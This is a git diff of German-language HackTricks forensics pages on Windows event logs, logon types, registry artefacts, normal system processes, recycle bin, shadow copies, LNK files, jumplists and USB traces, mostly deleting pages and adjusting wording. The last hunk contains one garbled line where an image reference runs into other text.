Sie können sie aus `C:\Windows\Tasks` oder `C:\Windows\System32\Tasks` extrahieren und als XML lesen.
|
||||
|
||||
### Dienste
|
||||
|
||||
Sie finden sie in der Registrierung unter `SYSTEM\ControlSet001\Services`. Sie können sehen, was ausgeführt wird und wann.
|
||||
|
||||
### **Windows Store**
|
||||
|
||||
Die installierten Anwendungen finden Sie in `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||
Dieses Repository hat ein **Log** mit **jeder installierten Anwendung** im System innerhalb der Datenbank **`StateRepository-Machine.srd`**.
|
||||
|
||||
In der Anwendungstabelle dieser Datenbank ist es möglich, die Spalten: "Application ID", "PackageNumber" und "Display Name" zu finden. Diese Spalten enthalten Informationen über vorinstallierte und installierte Anwendungen und es kann festgestellt werden, ob einige Anwendungen deinstalliert wurden, da die IDs der installierten Anwendungen sequenziell sein sollten.
|
||||
|
||||
Es ist auch möglich, **installierte Anwendungen** im Registrierungspfad: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
Und **deinstallierte** **Anwendungen** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` zu finden.
|
||||
|
||||
## Windows-Ereignisse
|
||||
|
||||
Informationen, die in Windows-Ereignissen erscheinen, sind:
|
||||
|
||||
- Was passiert ist
|
||||
- Zeitstempel (UTC + 0)
|
||||
- Beteiligte Benutzer
|
||||
- Beteiligte Hosts (Hostname, IP)
|
||||
- Zugängliche Assets (Dateien, Ordner, Drucker, Dienste)
|
||||
|
||||
Die Protokolle befinden sich in `C:\Windows\System32\config` vor Windows Vista und in `C:\Windows\System32\winevt\Logs` nach Windows Vista. Vor Windows Vista waren die Ereignisprotokolle im Binärformat und danach sind sie im **XML-Format** und verwenden die **.evtx**-Erweiterung.
|
||||
|
||||
Der Speicherort der Ereignisdateien kann in der SYSTEM-Registrierung unter **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** gefunden werden.
|
||||
|
||||
Sie können über den Windows-Ereignisanzeiger (**`eventvwr.msc`**) oder mit anderen Tools wie [**Event Log Explorer**](https://eventlogxp.com) **oder** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** visualisiert werden.**
|
||||
|
||||
## Verständnis der Windows-Sicherheitsereignisprotokollierung
|
||||
|
||||
Zugriffsereignisse werden in der Sicherheitskonfigurationsdatei aufgezeichnet, die sich unter `C:\Windows\System32\winevt\Security.evtx` befindet. Die Größe dieser Datei ist anpassbar, und wenn ihre Kapazität erreicht ist, werden ältere Ereignisse überschrieben. Aufgezeichnete Ereignisse umfassen Benutzeranmeldungen und -abmeldungen, Benutzeraktionen und Änderungen an Sicherheitseinstellungen sowie den Zugriff auf Dateien, Ordner und gemeinsame Assets.
|
||||
|
||||
### Schlüsselereignis-IDs für die Benutzerauthentifizierung:
|
||||
|
||||
- **EventID 4624**: Zeigt an, dass ein Benutzer erfolgreich authentifiziert wurde.
|
||||
- **EventID 4625**: Signalisiert einen Authentifizierungsfehler.
|
||||
- **EventIDs 4634/4647**: Stellen Benutzerabmeldeereignisse dar.
|
||||
- **EventID 4672**: Bezeichnet die Anmeldung mit administrativen Rechten.
|
||||
|
||||
#### Untertypen innerhalb von EventID 4634/4647:
|
||||
|
||||
- **Interaktiv (2)**: Direkte Benutzeranmeldung.
|
||||
- **Netzwerk (3)**: Zugriff auf freigegebene Ordner.
|
||||
- **Batch (4)**: Ausführung von Batch-Prozessen.
|
||||
- **Dienst (5)**: Dienststarts.
|
||||
- **Proxy (6)**: Proxy-Authentifizierung.
|
||||
- **Entsperren (7)**: Bildschirm mit einem Passwort entsperrt.
|
||||
- **Netzwerk-Klartext (8)**: Übertragung von Klartextpasswörtern, oft von IIS.
|
||||
- **Neue Anmeldeinformationen (9)**: Verwendung anderer Anmeldeinformationen für den Zugriff.
|
||||
- **Remote-Interaktiv (10)**: Remote-Desktop- oder Terminaldienste-Anmeldung.
|
||||
- **Cache-Interaktiv (11)**: Anmeldung mit zwischengespeicherten Anmeldeinformationen ohne Kontakt zum Domänencontroller.
|
||||
- **Cache-Remote-Interaktiv (12)**: Remote-Anmeldung mit zwischengespeicherten Anmeldeinformationen.
|
||||
- **Zwischengespeichertes Entsperren (13)**: Entsperren mit zwischengespeicherten Anmeldeinformationen.
|
||||
|
||||
#### Status- und Unterstatuscodes für EventID 4625:
|
||||
|
||||
- **0xC0000064**: Benutzername existiert nicht - Könnte auf einen Benutzernamen-Enumeration-Angriff hinweisen.
|
||||
- **0xC000006A**: Richtiger Benutzername, aber falsches Passwort - Möglicher Passwort-Ratenversuch oder Brute-Force-Versuch.
|
||||
- **0xC0000234**: Benutzerkonto gesperrt - Kann einem Brute-Force-Angriff folgen, der zu mehreren fehlgeschlagenen Anmeldungen führt.
|
||||
- **0xC0000072**: Konto deaktiviert - Unbefugte Versuche, auf deaktivierte Konten zuzugreifen.
|
||||
- **0xC000006F**: Anmeldung außerhalb der erlaubten Zeit - Zeigt Versuche an, außerhalb der festgelegten Anmeldezeiten zuzugreifen, ein mögliches Zeichen für unbefugten Zugriff.
|
||||
- **0xC0000070**: Verletzung der Arbeitsplatzbeschränkungen - Könnte ein Versuch sein, sich von einem unbefugten Standort anzumelden.
|
||||
- **0xC0000193**: Konto abgelaufen - Zugriffsversuche mit abgelaufenen Benutzerkonten.
|
||||
- **0xC0000071**: Abgelaufenes Passwort - Anmeldeversuche mit veralteten Passwörtern.
|
||||
- **0xC0000133**: Zeit-Synchronisierungsprobleme - Große Zeitabweichungen zwischen Client und Server können auf ausgeklügeltere Angriffe wie Pass-the-Ticket hinweisen.
|
||||
- **0xC0000224**: Pflichtänderung des Passworts erforderlich - Häufige Pflichtänderungen könnten auf einen Versuch hinweisen, die Kontosicherheit zu destabilisieren.
|
||||
- **0xC0000225**: Zeigt einen Systemfehler an, nicht ein Sicherheitsproblem.
|
||||
- **0xC000015b**: Verweigerter Anmeldetyp - Zugriffsversuch mit unbefugtem Anmeldetyp, z. B. ein Benutzer, der versucht, einen Dienstanmeldetyp auszuführen.
|
||||
|
||||
#### EventID 4616:
|
||||
|
||||
- **Zeitänderung**: Änderung der Systemzeit, könnte den Zeitablauf der Ereignisse verschleiern.
|
||||
|
||||
#### EventID 6005 und 6006:
|
||||
|
||||
- **Systemstart und -herunterfahren**: EventID 6005 zeigt den Systemstart an, während EventID 6006 das Herunterfahren markiert.
|
||||
|
||||
#### EventID 1102:
|
||||
|
||||
- **Protokolllöschung**: Sicherheitsprotokolle werden gelöscht, was oft ein Warnsignal für das Vertuschen illegaler Aktivitäten ist.
|
||||
|
||||
#### EventIDs zur Verfolgung von USB-Geräten:
|
||||
|
||||
- **20001 / 20003 / 10000**: Erste Verbindung des USB-Geräts.
|
||||
- **10100**: USB-Treiberaktualisierung.
|
||||
- **EventID 112**: Zeitpunkt des Einsteckens des USB-Geräts.
|
||||
|
||||
Für praktische Beispiele zur Simulation dieser Anmeldetypen und Möglichkeiten zum Abrufen von Anmeldeinformationen siehe [Altered Securitys detaillierte Anleitung](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
|
||||
|
||||
Ereignisdetails, einschließlich Status- und Unterstatuscodes, bieten weitere Einblicke in die Ursachen von Ereignissen, insbesondere bemerkenswert in Event ID 4625.
|
||||
|
||||
### Wiederherstellung von Windows-Ereignissen
|
||||
|
||||
Um die Chancen auf die Wiederherstellung gelöschter Windows-Ereignisse zu erhöhen, ist es ratsam, den verdächtigen Computer durch direktes Abziehen vom Stromnetz herunterzufahren. **Bulk_extractor**, ein Wiederherstellungstool, das die Erweiterung `.evtx` angibt, wird empfohlen, um solche Ereignisse wiederherzustellen.
|
||||
|
||||
### Identifizierung häufiger Angriffe über Windows-Ereignisse
|
||||
|
||||
Für eine umfassende Anleitung zur Nutzung von Windows-Ereignis-IDs zur Identifizierung häufiger Cyberangriffe besuchen Sie [Red Team Recipe](https://redteamrecipe.com/event-codes/).
|
||||
|
||||
#### Brute-Force-Angriffe
|
||||
|
||||
Erkennbar an mehreren EventID 4625-Datensätzen, gefolgt von einer EventID 4624, wenn der Angriff erfolgreich ist.
|
||||
|
||||
#### Zeitänderung
|
||||
|
||||
Aufgezeichnet durch EventID 4616 können Änderungen an der Systemzeit die forensische Analyse erschweren.
|
||||
|
||||
#### USB-Geräteverfolgung
|
||||
|
||||
Nützliche System-Ereignis-IDs zur Verfolgung von USB-Geräten sind 20001/20003/10000 für die erste Nutzung, 10100 für Treiberaktualisierungen und EventID 112 von DeviceSetupManager für Einsteckzeitstempel.
|
||||
|
||||
#### Systemstromereignisse
|
||||
|
||||
EventID 6005 zeigt den Systemstart an, während EventID 6006 das Herunterfahren markiert.
|
||||
|
||||
#### Protokolllöschung
|
||||
|
||||
Sicherheits-Ereignis-ID 1102 signalisiert die Löschung von Protokollen, ein kritisches Ereignis für die forensische Analyse.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,101 +0,0 @@
|
||||
# Interessante Windows-Registrierungsschlüssel
|
||||
|
||||
### Interessante Windows-Registrierungsschlüssel
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### **Windows-Version und Besitzerinformationen**
|
||||
|
||||
- Unter **`Software\Microsoft\Windows NT\CurrentVersion`** finden Sie die Windows-Version, das Service Pack, die Installationszeit und den Namen des registrierten Eigentümers auf einfache Weise.
|
||||
|
||||
### **Computername**
|
||||
|
||||
- Der Hostname befindet sich unter **`System\ControlSet001\Control\ComputerName\ComputerName`**.
|
||||
|
||||
### **Zeitzoneneinstellung**
|
||||
|
||||
- Die Zeitzone des Systems wird in **`System\ControlSet001\Control\TimeZoneInformation`** gespeichert.
|
||||
|
||||
### **Zugriffszeitverfolgung**
|
||||
|
||||
- Standardmäßig ist die Verfolgung der letzten Zugriffszeit deaktiviert (**`NtfsDisableLastAccessUpdate=1`**). Um sie zu aktivieren, verwenden Sie:
|
||||
`fsutil behavior set disablelastaccess 0`
|
||||
|
||||
### Windows-Versionen und Service Packs
|
||||
|
||||
- Die **Windows-Version** gibt die Edition an (z. B. Home, Pro) und deren Veröffentlichung (z. B. Windows 10, Windows 11), während **Service Packs** Updates sind, die Fehlerbehebungen und manchmal neue Funktionen enthalten.
|
||||
|
||||
### Aktivierung der letzten Zugriffszeit
|
||||
|
||||
- Die Aktivierung der Verfolgung der letzten Zugriffszeit ermöglicht es Ihnen zu sehen, wann Dateien zuletzt geöffnet wurden, was für forensische Analysen oder Systemüberwachung entscheidend sein kann.
|
||||
|
||||
### Netzwerkdetails
|
||||
|
||||
- Die Registrierung enthält umfangreiche Daten zu Netzwerkkonfigurationen, einschließlich **Netzwerktypen (drahtlos, kabelgebunden, 3G)** und **Netzwerkkategorien (Öffentlich, Privat/Zuhause, Domäne/Arbeit)**, die für das Verständnis von Netzwerksicherheitseinstellungen und Berechtigungen von entscheidender Bedeutung sind.
|
||||
|
||||
### Client-Seitige Caching (CSC)
|
||||
|
||||
- **CSC** verbessert den Offline-Dateizugriff, indem Kopien von freigegebenen Dateien zwischengespeichert werden. Verschiedene **CSCFlags**-Einstellungen steuern, wie und welche Dateien zwischengespeichert werden, was die Leistung und Benutzererfahrung beeinflusst, insbesondere in Umgebungen mit intermittierender Konnektivität.
|
||||
|
||||
### Autostart-Programme
|
||||
|
||||
- Programme, die in verschiedenen `Run`- und `RunOnce`-Registrierungsschlüsseln aufgeführt sind, werden beim Start automatisch gestartet, was die Bootzeit des Systems beeinflusst und potenziell Punkte von Interesse zur Identifizierung von Malware oder unerwünschter Software sein kann.
|
||||
|
||||
### Shellbags
|
||||
|
||||
- **Shellbags** speichern nicht nur Präferenzen für Ordnersichten, sondern liefern auch forensische Beweise für den Ordnerzugriff, selbst wenn der Ordner nicht mehr existiert. Sie sind für Ermittlungen von unschätzbarem Wert, da sie Benutzeraktivitäten offenbaren, die durch andere Mittel nicht offensichtlich sind.
|
||||
|
||||
### USB-Informationen und Forensik
|
||||
|
||||
- Die in der Registrierung gespeicherten Details zu USB-Geräten können helfen, nachzuvollziehen, welche Geräte mit einem Computer verbunden waren, was möglicherweise ein Gerät mit sensiblen Dateiübertragungen oder Vorfällen unbefugten Zugriffs verknüpfen kann.
|
||||
|
||||
### Volumenseriennummer
|
||||
|
||||
- Die **Volumenseriennummer** kann entscheidend sein, um die spezifische Instanz eines Dateisystems zu verfolgen, was in forensischen Szenarien nützlich ist, in denen der Ursprung von Dateien über verschiedene Geräte hinweg festgestellt werden muss.
|
||||
|
||||
### **Herunterfahrdetails**
|
||||
|
||||
- Die Herunterfahrzeit und die Anzahl (letzteres nur für XP) werden in **`System\ControlSet001\Control\Windows`** und **`System\ControlSet001\Control\Watchdog\Display`** gespeichert.
|
||||
|
||||
### **Netzwerkkonfiguration**
|
||||
|
||||
- Für detaillierte Informationen zu Netzwerkinterfaces verweisen Sie auf **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
|
||||
- Erste und letzte Netzwerkverbindungszeiten, einschließlich VPN-Verbindungen, werden unter verschiedenen Pfaden in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`** protokolliert.
|
||||
|
||||
### **Freigegebene Ordner**
|
||||
|
||||
- Freigegebene Ordner und Einstellungen befinden sich unter **`System\ControlSet001\Services\lanmanserver\Shares`**. Die Einstellungen für das Client-Seitige Caching (CSC) bestimmen die Verfügbarkeit von Offline-Dateien.
|
||||
|
||||
### **Programme, die automatisch starten**
|
||||
|
||||
- Pfade wie **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** und ähnliche Einträge unter `Software\Microsoft\Windows\CurrentVersion` geben Programme an, die beim Start ausgeführt werden sollen.
|
||||
|
||||
### **Suchanfragen und eingegebene Pfade**
|
||||
|
||||
- Explorer-Suchanfragen und eingegebene Pfade werden in der Registrierung unter **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** für WordwheelQuery und TypedPaths protokolliert.
|
||||
|
||||
### **Kürzlich verwendete Dokumente und Office-Dateien**
|
||||
|
||||
- Kürzlich aufgerufene Dokumente und Office-Dateien werden in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` und spezifischen Office-Version-Pfaden vermerkt.
|
||||
|
||||
### **Zuletzt verwendete (MRU) Elemente**
|
||||
|
||||
- MRU-Listen, die kürzliche Dateipfade und Befehle anzeigen, werden in verschiedenen `ComDlg32`- und `Explorer`-Unterklassen unter `NTUSER.DAT` gespeichert.
|
||||
|
||||
### **Benutzeraktivitätsverfolgung**
|
||||
|
||||
- Die Benutzerassistenzfunktion protokolliert detaillierte Anwendungsnutzungsstatistiken, einschließlich der Anzahl der Ausführungen und der letzten Ausführungszeit, unter **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
|
||||
|
||||
### **Shellbags-Analyse**
|
||||
|
||||
- Shellbags, die Details zum Ordnerzugriff offenbaren, werden in `USRCLASS.DAT` und `NTUSER.DAT` unter `Software\Microsoft\Windows\Shell` gespeichert. Verwenden Sie **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** zur Analyse.
|
||||
|
||||
### **USB-Gerätehistorie**
|
||||
|
||||
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** und **`HKLM\SYSTEM\ControlSet001\Enum\USB`** enthalten umfangreiche Details zu angeschlossenen USB-Geräten, einschließlich Hersteller, Produktname und Verbindungszeitstempel.
|
||||
- Der Benutzer, der mit einem bestimmten USB-Gerät verbunden ist, kann ermittelt werden, indem die `NTUSER.DAT`-Hives nach der **{GUID}** des Geräts durchsucht werden.
|
||||
- Das zuletzt montierte Gerät und seine Volumenseriennummer können über `System\MountedDevices` und `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` zurückverfolgt werden.
|
||||
|
||||
Dieser Leitfaden fasst die entscheidenden Pfade und Methoden zum Zugriff auf detaillierte System-, Netzwerk- und Benutzeraktivitätsinformationen auf Windows-Systemen zusammen und zielt auf Klarheit und Benutzerfreundlichkeit ab.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,106 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## smss.exe
|
||||
|
||||
**Sitzungsmanager**.\
|
||||
Sitzung 0 startet **csrss.exe** und **wininit.exe** (**Betriebssystem** **Dienste**), während Sitzung 1 **csrss.exe** und **winlogon.exe** (**Benutzer** **sitzung**) startet. Sie sollten jedoch **nur einen Prozess** dieses **Binärs** ohne Kinder im Prozessbaum sehen.
|
||||
|
||||
Außerdem können Sitzungen außer 0 und 1 bedeuten, dass RDP-Sitzungen stattfinden.
|
||||
|
||||
## csrss.exe
|
||||
|
||||
**Client/Server Run Subsystem Prozess**.\
|
||||
Es verwaltet **Prozesse** und **Threads**, macht die **Windows** **API** für andere Prozesse verfügbar und **ordnet Laufwerksbuchstaben zu**, erstellt **Temp-Dateien** und verwaltet den **Herunterfahr** **prozess**.
|
||||
|
||||
Es gibt einen **laufenden in Sitzung 0 und einen weiteren in Sitzung 1** (also **2 Prozesse** im Prozessbaum). Ein weiterer wird **pro neuer Sitzung** erstellt.
|
||||
|
||||
## winlogon.exe
|
||||
|
||||
**Windows Anmeldeprozess**.\
|
||||
Er ist verantwortlich für die Benutzer-**Anmeldung**/**Abmeldung**. Er startet **logonui.exe**, um nach Benutzername und Passwort zu fragen, und ruft dann **lsass.exe** auf, um diese zu überprüfen.
|
||||
|
||||
Dann startet er **userinit.exe**, das in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** mit dem Schlüssel **Userinit** angegeben ist.
|
||||
|
||||
Darüber hinaus sollte der vorherige Registrierungseintrag **explorer.exe** im **Shell-Schlüssel** haben oder könnte als **Malware-Persistenzmethode** missbraucht werden.
|
||||
|
||||
## wininit.exe
|
||||
|
||||
**Windows Initialisierungsprozess**. \
|
||||
Er startet **services.exe**, **lsass.exe** und **lsm.exe** in Sitzung 0. Es sollte nur 1 Prozess geben.
|
||||
|
||||
## userinit.exe
|
||||
|
||||
**Userinit Anwendungsanmeldung**.\
|
||||
Lädt die **ntduser.dat in HKCU** und initialisiert die **Benutzer** **Umgebung** und führt **Anmeldeskripte** und **GPO** aus.
|
||||
|
||||
Er startet **explorer.exe**.
|
||||
|
||||
## lsm.exe
|
||||
|
||||
**Lokaler Sitzungsmanager**.\
|
||||
Er arbeitet mit smss.exe zusammen, um Benutzersitzungen zu manipulieren: Anmeldung/Abmeldung, Shell-Start, Desktop sperren/entsperren usw.
|
||||
|
||||
Nach W7 wurde lsm.exe in einen Dienst (lsm.dll) umgewandelt.
|
||||
|
||||
Es sollte nur 1 Prozess in W7 geben und davon ein Dienst, der die DLL ausführt.
|
||||
|
||||
## services.exe
|
||||
|
||||
**Dienste Steuerungsmanager**.\
|
||||
Er **lädt** **Dienste**, die als **automatisch starten** konfiguriert sind, und **Treiber**.
|
||||
|
||||
Es ist der übergeordnete Prozess von **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** und vielen mehr.
|
||||
|
||||
Dienste sind in `HKLM\SYSTEM\CurrentControlSet\Services` definiert, und dieser Prozess hält eine DB im Speicher mit Dienstinformationen, die von sc.exe abgefragt werden können.
|
||||
|
||||
Beachten Sie, dass **einige** **Dienste** in einem **eigenen Prozess** ausgeführt werden und andere einen **svchost.exe-Prozess** **teilen**.
|
||||
|
||||
Es sollte nur 1 Prozess geben.
|
||||
|
||||
## lsass.exe
|
||||
|
||||
**Lokale Sicherheitsbehörde Subsystem**.\
|
||||
Er ist verantwortlich für die Benutzer-**Authentifizierung** und erstellt die **Sicherheits** **Token**. Er verwendet Authentifizierungspakete, die in `HKLM\System\CurrentControlSet\Control\Lsa` gespeichert sind.
|
||||
|
||||
Er schreibt in das **Sicherheits** **ereignis** **protokoll** und es sollte nur 1 Prozess geben.
|
||||
|
||||
Beachten Sie, dass dieser Prozess stark angegriffen wird, um Passwörter zu dumpen.
|
||||
|
||||
## svchost.exe
|
||||
|
||||
**Generischer Dienst-Host-Prozess**.\
|
||||
Er hostet mehrere DLL-Dienste in einem gemeinsamen Prozess.
|
||||
|
||||
Normalerweise werden Sie feststellen, dass **svchost.exe** mit dem `-k`-Flag gestartet wird. Dies wird eine Abfrage an die Registrierung **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** auslösen, wo es einen Schlüssel mit dem Argument gibt, das in -k erwähnt wird, das die Dienste enthält, die im selben Prozess gestartet werden sollen.
|
||||
|
||||
Zum Beispiel: `-k UnistackSvcGroup` wird starten: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
|
||||
|
||||
Wenn das **Flag `-s`** ebenfalls mit einem Argument verwendet wird, wird svchost aufgefordert, **nur den angegebenen Dienst** in diesem Argument zu starten.
|
||||
|
||||
Es wird mehrere Prozesse von `svchost.exe` geben. Wenn einer von ihnen **nicht das `-k`-Flag verwendet**, ist das sehr verdächtig. Wenn Sie feststellen, dass **services.exe nicht der übergeordnete Prozess** ist, ist das ebenfalls sehr verdächtig.
|
||||
|
||||
## taskhost.exe
|
||||
|
||||
Dieser Prozess fungiert als Host für Prozesse, die von DLLs ausgeführt werden. Er lädt auch die Dienste, die von DLLs ausgeführt werden.
|
||||
|
||||
In W8 wird dies taskhostex.exe genannt und in W10 taskhostw.exe.
|
||||
|
||||
## explorer.exe
|
||||
|
||||
Dies ist der Prozess, der für den **Desktop des Benutzers** und das Starten von Dateien über Dateierweiterungen verantwortlich ist.
|
||||
|
||||
**Nur 1** Prozess sollte **pro angemeldetem Benutzer** gestartet werden.
|
||||
|
||||
Dies wird von **userinit.exe** ausgeführt, die beendet werden sollte, sodass **kein übergeordneter** Prozess für diesen Prozess erscheinen sollte.
|
||||
|
||||
# Erfassung bösartiger Prozesse
|
||||
|
||||
- Läuft es vom erwarteten Pfad? (Keine Windows-Binärdateien laufen von temporären Orten)
|
||||
- Kommuniziert es mit seltsamen IPs?
|
||||
- Überprüfen Sie digitale Signaturen (Microsoft-Artefakte sollten signiert sein)
|
||||
- Ist es korrekt geschrieben?
|
||||
- Läuft es unter dem erwarteten SID?
|
||||
- Ist der übergeordnete Prozess der erwartete (falls vorhanden)?
|
||||
- Sind die Kindprozesse die erwarteten? (keine cmd.exe, wscript.exe, powershell.exe..?)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,7 +1,5 @@
|
||||
# Windows Artefakte
|
||||
|
||||
## Windows Artefakte
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Generische Windows Artefakte
|
||||
@ -20,13 +18,13 @@ Die Datenbank befindet sich im Pfad `\Users\<username>\AppData\Local\ConnectedDe
|
||||
|
||||
### ADS (Alternative Datenströme)
|
||||
|
||||
Heruntergeladene Dateien können den **ADS Zone.Identifier** enthalten, der angibt, **wie** sie **heruntergeladen** wurden, z. B. aus dem Intranet, Internet usw. Einige Software (wie Browser) fügt normalerweise sogar **mehr** **Informationen** wie die **URL** hinzu, von der die Datei heruntergeladen wurde.
|
||||
Heruntergeladene Dateien können den **ADS Zone.Identifier** enthalten, der angibt, **wie** sie **heruntergeladen** wurden, z. B. aus dem Intranet, Internet usw. Einige Software (wie Browser) fügt normalerweise sogar **mehr** **Informationen** hinzu, wie die **URL**, von der die Datei heruntergeladen wurde.
|
||||
|
||||
## **Dateisicherungen**
|
||||
|
||||
### Papierkorb
|
||||
|
||||
In Vista/Win7/Win8/Win10 kann der **Papierkorb** im Ordner **`$Recycle.bin`** im Stammverzeichnis des Laufwerks (`C:\$Recycle.bin`) gefunden werden.\
|
||||
In Vista/Win7/Win8/Win10 befindet sich der **Papierkorb** im Ordner **`$Recycle.bin`** im Stammverzeichnis des Laufwerks (`C:\$Recycle.bin`).\
|
||||
Wenn eine Datei in diesem Ordner gelöscht wird, werden 2 spezifische Dateien erstellt:
|
||||
|
||||
- `$I{id}`: Dateiinformationen (Datum, an dem sie gelöscht wurde)
|
||||
@ -42,7 +40,7 @@ Mit diesen Dateien können Sie das Tool [**Rifiuti**](https://github.com/abelche
|
||||
|
||||
### Volume Shadow Copies
|
||||
|
||||
Shadow Copy ist eine Technologie, die in Microsoft Windows enthalten ist und **Sicherungs kopien** oder Snapshots von Computerdateien oder -volumes erstellen kann, selbst wenn sie verwendet werden.
|
||||
Shadow Copy ist eine Technologie, die in Microsoft Windows enthalten ist und **Sicherungs kopien** oder Schnappschüsse von Computerdateien oder -volumes erstellen kann, selbst wenn sie verwendet werden.
|
||||
|
||||
Diese Sicherungen befinden sich normalerweise im `\System Volume Information` im Stammverzeichnis des Dateisystems, und der Name besteht aus **UIDs**, die im folgenden Bild angezeigt werden:
|
||||
|
||||
@ -75,7 +73,7 @@ Windows **erstellt automatisch** diese **Verknüpfungen**, wenn der Benutzer **e
|
||||
|
||||
Wenn ein Ordner erstellt wird, wird auch ein Link zu dem Ordner, dem übergeordneten Ordner und dem Großelternordner erstellt.
|
||||
|
||||
Diese automatisch erstellten Linkdateien **enthalten Informationen über den Ursprung**, wie ob es sich um eine **Datei** **oder** einen **Ordner** handelt, **MAC** **Zeiten** dieser Datei, **Volumeninformationen** darüber, wo die Datei gespeichert ist, und **Ordner der Zieldatei**. Diese Informationen können nützlich sein, um diese Dateien wiederherzustellen, falls sie entfernt wurden.
|
||||
Diese automatisch erstellten Linkdateien **enthalten Informationen über den Ursprung**, wie ob es sich um eine **Datei** **oder** einen **Ordner** handelt, **MAC** **Zeiten** dieser Datei, **Volumeninformationen**, wo die Datei gespeichert ist, und **Ordner der Zieldatei**. Diese Informationen können nützlich sein, um diese Dateien wiederherzustellen, falls sie entfernt wurden.
|
||||
|
||||
Außerdem ist das **Erstellungsdatum der Linkdatei** die erste **Zeit**, zu der die Originaldatei **zum ersten Mal** **verwendet** wurde, und das **Änderungsdatum** der Linkdatei ist die **letzte** **Zeit**, zu der die Ursprungsdatei verwendet wurde.
|
||||
|
||||
@ -106,11 +104,11 @@ Dies sind die zuletzt verwendeten Dateien, die pro Anwendung angezeigt werden. E
|
||||
|
||||
Die **jumplists**, die automatisch erstellt werden, werden in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` gespeichert. Die jumplists sind nach dem Format `{id}.autmaticDestinations-ms` benannt, wobei die ursprüngliche ID die ID der Anwendung ist.
|
||||
|
||||
Die benutzerdefinierten jumplists werden in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` gespeichert und werden normalerweise von der Anwendung erstellt, weil etwas **Wichtiges** mit der Datei passiert ist (vielleicht als Favorit markiert).
|
||||
Die benutzerdefinierten jumplists werden in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` gespeichert und werden normalerweise von der Anwendung erstellt, weil mit der Datei etwas **Wichtiges** passiert ist (vielleicht als Favorit markiert).
|
||||
|
||||
Die **Erstellungszeit** einer jumplist gibt die **erste Zeit an, zu der die Datei aufgerufen wurde** und die **Änderungszeit die letzte Zeit**.
|
||||
Die **Erstellungszeit** einer jumplist gibt die **erste Zeit an, zu der die Datei aufgerufen wurde**, und die **Änderungszeit die letzte Zeit**.
|
||||
|
||||
Sie können die jumplists mit [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) untersuchen.
|
||||
Sie können die jumplists mit [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) inspizieren.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -120,7 +118,7 @@ Sie können die jumplists mit [**JumplistExplorer**](https://ericzimmerman.githu
|
||||
|
||||
[**Folgen Sie diesem Link, um zu erfahren, was die Shellbags sind.**](interesting-windows-registry-keys.md#shellbags)
|
||||
|
||||
## Verwendung von Windows USBs
|
||||
## Verwendung von Windows-USBs
|
||||
|
||||
Es ist möglich zu identifizieren, dass ein USB-Gerät verwendet wurde, dank der Erstellung von:
|
||||
|
||||
@ -142,11 +140,11 @@ Die Dateien im WPDNSE-Ordner sind eine Kopie der ursprünglichen, überstehen al
|
||||
|
||||
Überprüfen Sie die Datei `C:\Windows\inf\setupapi.dev.log`, um die Zeitstempel zu erhalten, wann die USB-Verbindung hergestellt wurde (suchen Sie nach `Section start`).
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
[**USBDetective**](https://usbdetective.com) kann verwendet werden, um Informationen über die USB-Geräte zu erhalten, die mit einem Bild verbunden waren.
|
||||
[**USBDetective**](https://usbdetective.com) kann verwendet werden, um Informationen über die USB-Geräte zu erhalten, die mit einem Bild verbunden wurden.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -161,12 +159,12 @@ Ein Screenshot, der den Inhalt der Aufgabe zeigt, ist bereitgestellt: **: Weist den Task Scheduler an, die Bereinigungsaufgabe monatlich während der regulären automatischen Wartung zu starten.
|
||||
